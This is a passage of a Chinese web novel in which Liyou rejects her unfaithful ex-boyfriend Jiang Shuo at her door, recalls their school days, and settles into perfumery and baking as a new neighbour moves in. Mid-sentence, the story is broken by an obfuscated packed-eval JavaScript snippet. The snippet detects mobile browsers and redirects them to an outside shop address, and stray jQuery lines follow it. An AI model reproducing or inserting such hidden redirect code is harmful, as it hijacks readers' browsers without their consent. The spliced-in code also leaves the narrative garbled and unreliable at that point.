夜色渐深,窗外的玉兰花香愈发清冽,混着晚风漫进屋里。
黎悠简单煮了碗阳春面,卧了个溏心蛋,撒上一把葱花。
白瓷碗放在餐桌中央,旁边空着的位置衬得碗筷愈发单薄——这个她从小吃到大的餐桌,曾摆过妈妈做的满桌饭菜,也曾在父亲偶尔回来时坐得热热闹闹,此刻却只剩她一人,静得能听见面条吸溜进嘴的声响。
窗外的路灯一盏盏亮起,暖黄的光透过玻璃斜斜照进来,在客厅地板上投下斑驳的光斑,像散落的碎月亮,却驱不散骨子里的冷清。
就在这时,门铃突然尖锐地响起,
“叮咚——叮咚——”。
急促地划破了满室静谧,吓了黎悠一跳。
她握着筷子的手一顿,眉头微微蹙起,这么晚了,会是谁?
黎悠放下碗,脚步放轻走到玄关,透过猫眼往外望去。
看清门外人的瞬间,她的心猛地一沉,像被一块冰砸中,瞬间凉透了,来人竟然是江烁。
他站在走廊昏黄的灯光下,头发凌乱地贴在额前,眼下泛着浓重的青黑,胡茬也冒出了些,整个人透着一股憔悴的焦躁。
男人显然等了很久,衬衫皱巴巴的,脸上是混合着不甘与急切的神情,目光死死盯着门板,像是笃定她一定在家。
黎悠下意识想后退,不想理会。
可门铃却执拗地响个不停,一声接着一声,带着破釜沉舟的意味,紧接着,江烁的声音隔着门板传进来,带着刻意拔高的急切:“悠悠!我知道你在家!灯亮着,你开门,我们好好谈谈!”
那声音像针,刺破了她努力维持的平静。
黎悠深吸一口气,压下心底翻涌的烦躁,猛地拉开了门。
突如其来的光亮让江烁愣了一下,他眼中瞬间闪过一丝狂喜,下意识就想往前迈步,伸手去抓她的手腕。
“别过来。”黎悠立刻后退半步,手紧紧扶着门框,指尖因为用力而泛白。
她抬眼冷冷地看着他,眼神像结了冰的湖面,没有丝毫波澜,只有拒人千里的疏离:“江烁,我们之间已经结束了,没什么好谈的。”
“悠悠,我知道错了……”江烁的动作僵在半空,狂喜褪去,只剩下狼狈的恳求,他声音沙哑,带着不易察觉的哽咽,“我这几天一直在想你,我在小区等了两天,一直没见到你,今天看到房子里的灯光,就猜到你回来了。我只是很想你,想来看看你好不好……”
“想我?”黎悠轻轻嗤笑一声,眼底掠过一丝嘲讽,更多的却是疲惫。
她打断他,语气平静得近乎冷漠,“我们分手那天,我已经说得够清楚了。你出轨的那一刻,我们之间就彻底完了。”
她的目光太过冰冷,像一把锋利的刀,直直戳进江烁的心里。
他的脸色瞬间惨白,嘴唇翕动着,想说什么,却被那眼神堵得一句话也说不出来,只能眼睁睁看着她眼中的厌恶与决绝。
江烁提起往事想挽留:“悠悠,还记得以前我们高中的时候吗?有段时间你家出了点事,你情绪不好,晚上放学还不敢一个人回家,有次遇到坏人……”
“江烁,我很感激你那段时间的照顾,已经是过去式的了。”黎悠忍不住打断他。
“分手就是分手,”黎悠的声音没有起伏,却带着不容置喙的决绝,“请你保持最后的体面,不要再来纠缠我。”
江烁的肩膀垮了下来,眼神黯淡下去,他还在做最后的挣扎,声音低得像蚊子叫:“我们……我们还是同学啊,就算不能做恋人,难道不能当朋友吗?”
“不能。”黎悠想也不想地拒绝,她向来不喜欢情人分手后藕断丝连,更何况是这样一场带着背叛的结束。
她抬眼,语气里多了几分警告,带着不容置疑的坚定:“你以后不要再来找我了,这里不欢迎你。再纠缠下去,我只能报警。”
这句话像最后一根稻草,压垮了江烁所有的希冀。
他看着黎悠眼中不容动摇的决绝,看着那扇熟悉的门后,是他再也无法触及的世界,眼中的光亮一点点熄灭,最终只剩下死寂的灰败。
他张了张嘴,最终什么也没说,只是颓然地转过身,脚步踉跄地朝着电梯走去,背影落寞又狼狈。
直到那人彻底消失,黎悠才松了口气,后背已经沁出了一层薄汗。
她反手用力关上门,“砰”的一声,隔绝了门外的一切。
背靠着冰冷的门板,她缓缓滑坐下去,双手抱住膝盖,将脸埋进臂弯。
心脏在胸腔里沉重地跳动着,带着一种解脱后的虚脱感,还有一丝难以言说的酸涩。
脑海里不受控制地闪过从前的画面,高中时,他每天早上绕远路给她带热腾腾的豆浆油条,在教室门口等她一起上学。
妈妈刚去世那段日子,她整个人陷在黑暗里,最好的雨彤又在外省集训,是江烁每天陪着她,在公园长椅上听她沉默流泪,笨拙地给她递纸巾,说“有我在”。
有段时间不知道是不是她的错觉,她总觉得有人跟踪自己。
有一次晚自习结束回家的时候,黎悠照常走那条熟悉的小巷回家,路灯却突然坏掉,有人捂住她的嘴,却有个男生突然出现,两人扭打起来。
那个男生就是江烁。
后来他追求她,小心翼翼地呵护着她敏感的自尊心,一点点暖化她冰封的心,让她鼓起勇气,决定试着接受这份感情。
可人心易变,曾经的温柔与承诺,终究还是抵不过新鲜感的诱惑。
黎悠闭了闭眼,用力摇了摇头,将那些翻涌的回忆狠狠压下去。
不想了,都过去了。那些烦恼和不愉快,不值得再占据她的生活。
她慢慢站起身,拍了拍身上的灰尘,深吸一口气,眼底的脆弱与疲惫渐渐褪去,重新换上了平静的模样。
她走到餐桌前,将没吃完的面条收拾干净,然后去浴室洗漱,温热的水流冲刷着身体,也仿佛洗去了一身的疲惫与阴霾。
躺在床上时,她顺手抱起床头的小狼玩偶,星空兔和泰迪熊在枕头旁边,柔软的绒毛蹭过脸颊,带着熟悉的暖意。
那是黎昊踮着脚尖塞进她行李箱的,小家伙奶声奶气的叮嘱还在耳边回响:“姐姐一个人睡觉会怕黑,让星空兔陪你。”
黎悠将玩偶紧紧抱在怀里,脸颊贴着毛茸茸的布料,感受着那份踏实的柔软。
窗外的月光透过窗帘缝隙洒进来,落在星空兔玩偶身上,仿佛缀满了星光。
她闭上眼,不再去想那些糟心的过往,脑海里只剩下好友咋咋呼呼的笑声、奶奶温暖的念叨、弟弟纯真的笑脸,还有这个家里,妈妈留下的清浅香气。
渐渐地,呼吸变得平稳,疲惫席卷而来,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952315|192310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在这份熟悉的安稳里,沉沉睡去。
接下来的日子,黎悠彻底放慢了生活的脚步,心也沉了下来,变得格外专注。
那间小小的调香室,成了她最流连的去处,那既是隔绝外界纷扰的心灵避风港,也是她与母亲穆清跨越时空对话的隐秘角落。
她总爱趁着晨光熹微时就泡在里面,指尖细细擦拭每一只玻璃量杯、精准刻度的滴管,还有那些贴着标签的精油瓶,将它们一一归置整齐,在桌面排成长长的一列,透着近乎执拗的规整。
空气里永远漂浮着层层叠叠的香气分子:前调是佛手柑的清甜明亮,像清晨洒在叶尖的阳光;中调渐渐沉淀为铃兰的温柔,却藏着几分不易察觉的坚韧;而后调,是她近来反复琢磨的难题——雪松的疏离感与清冷麝香交织,总差一点就能达到预想的平衡。
她常常捧着穆清留下的笔记,指尖抚过娟秀的字迹,再翻遍厚厚的调香典籍,在字里行间寻找母亲当年的思路。
调香之外,她又迷上了美食烘焙。
一个人住的房子,总得有烟火气才不至于太冷清。
她发现做饭与调香竟有着异曲同工之妙:油盐酱醋的配比、火候的大小、炖煮的时长,稍有偏差便会改变食物的本味。
就像调香时那些精油的剂量,多一分则浓烈刺鼻,少一分则寡淡无味,差之毫厘便谬以千里。
她索性下单了一台小巧的烤箱,日子久了,房子里便时常混合着黄油烤吐司的香甜、蔓越莓饼干的醇厚,与调香室飘来的植物精油气息缠绕在一起,成了独属于她的温暖味道。
偶尔闲下来,她会坐在沙发上,指尖捏着母亲曾经的笔记和手稿。
寥寥几行字迹,是她再熟悉不过的娟秀模样,每次凝视,都仿佛能看见母亲当年在灯下写写画画的身影,思绪不由得飘远。
家里太安静了,静得能听清窗外梧桐叶被风拂过的摩挲声,甚至能捕捉到自己心跳的回音,沉甸甸的孤寂有时会悄悄漫上来。
这时她便会打开那台老旧的收音机,调到固定的频道,要么是舒缓的爵士乐缓缓流淌,要么是无人声的白噪音,让这些虚无却温柔的声音填满房间。或者是随手打开电视机,任凭画面和台词在背景里流动,不求看懂,只求驱散那份过于清晰的孤单。
也正是在这样日复一日的安静里,她隐约察觉到了隔壁的动静。
那天午后,她正对着一瓶新到的雪松精油调试浓度,忽然听见楼道里传来滚轮摩擦地面的声响,夹杂着搬运重物的闷哼。
好奇心驱使下,她轻手轻脚走到门边,透过猫眼往外看——只见几个穿着“货拉拉”字样工装的师傅,正费力地往隔壁搬着大大小小的箱子,有的贴着易碎品标签,有的被防水布仔细裹着,看样子是成套的家具。
她忽然想起前阵子下楼倒垃圾时,邻居李阿姨闲聊时说的话:儿子要上初中了,为了方便上学,打算搬到学校附近住,这套老房子就挂出去出租。
看来,是要新租客搬进来了。
搬来了新邻居,黎悠并没有太多好奇心,只是偶尔在出门时会下意识地瞥一眼那扇紧闭的防盗门。
直到这天下午,她因为需要一种特定的稀有酒精,不得不前往城西的香料店。
当黎悠抱着采购的物品走回小区时,远远地,就看到一个熟悉的高大身影站在她家楼下。